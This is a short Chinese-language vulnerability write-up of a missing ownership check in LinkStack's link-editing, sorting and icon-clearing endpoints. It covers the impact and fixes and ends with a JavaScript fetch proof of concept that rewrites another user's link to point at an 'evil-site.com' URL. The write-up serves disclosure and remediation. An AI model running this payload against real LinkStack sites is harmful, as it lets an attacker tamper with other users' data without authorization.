# 漏洞总结 ## 漏洞概述 LinkStack 的链接管理端点(`/studio/edit-link`、`/studio/sort-link`、`/clearIcon`)接受用户提供的链接 ID,但未验证当前登录用户是否为该链接的所有者。这导致任何已登录用户都可以修改或删除其他用户的链接。 ## 影响范围 - **受影响端点**: - `POST /studio/edit-link` - `POST /studio/sort-link` - `GET /clearIcon/{id}` - **后果**: - 未授权修改他人链接(如标题、类型、按钮文本等)。 - 未授权删除他人链接图标。 - 可能导致数据篡改或拒绝服务。 ## 修复方案 1. **`/studio/edit-link`**:添加所有权检查,若链接不属于当前用户则返回 403。 2. **`/studio/sort-link`**:在 `WHERE` 子句中添加 `user_id` 条件,确保只更新当前用户的链接。 3. **`/clearIcon/{id}`**:添加中间件,验证链接所有权后再执行删除操作。 ## POC 代码 ```javascript fetch('/studio/edit-link', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]').content }, body: new URLSearchParams({ linkid: '+USER_B_LINK_ID+', link: 'https://evil-site.com', title: 'Modified', typeenum: 'link', button: 'custom_website' }) }).then(r => console.log('Status:', r.status)) ``` > 注:`USER_B_LINK_ID` 为其他用户的链接 ID。修复前请求成功(返回 200),修复后返回 403 Forbidden。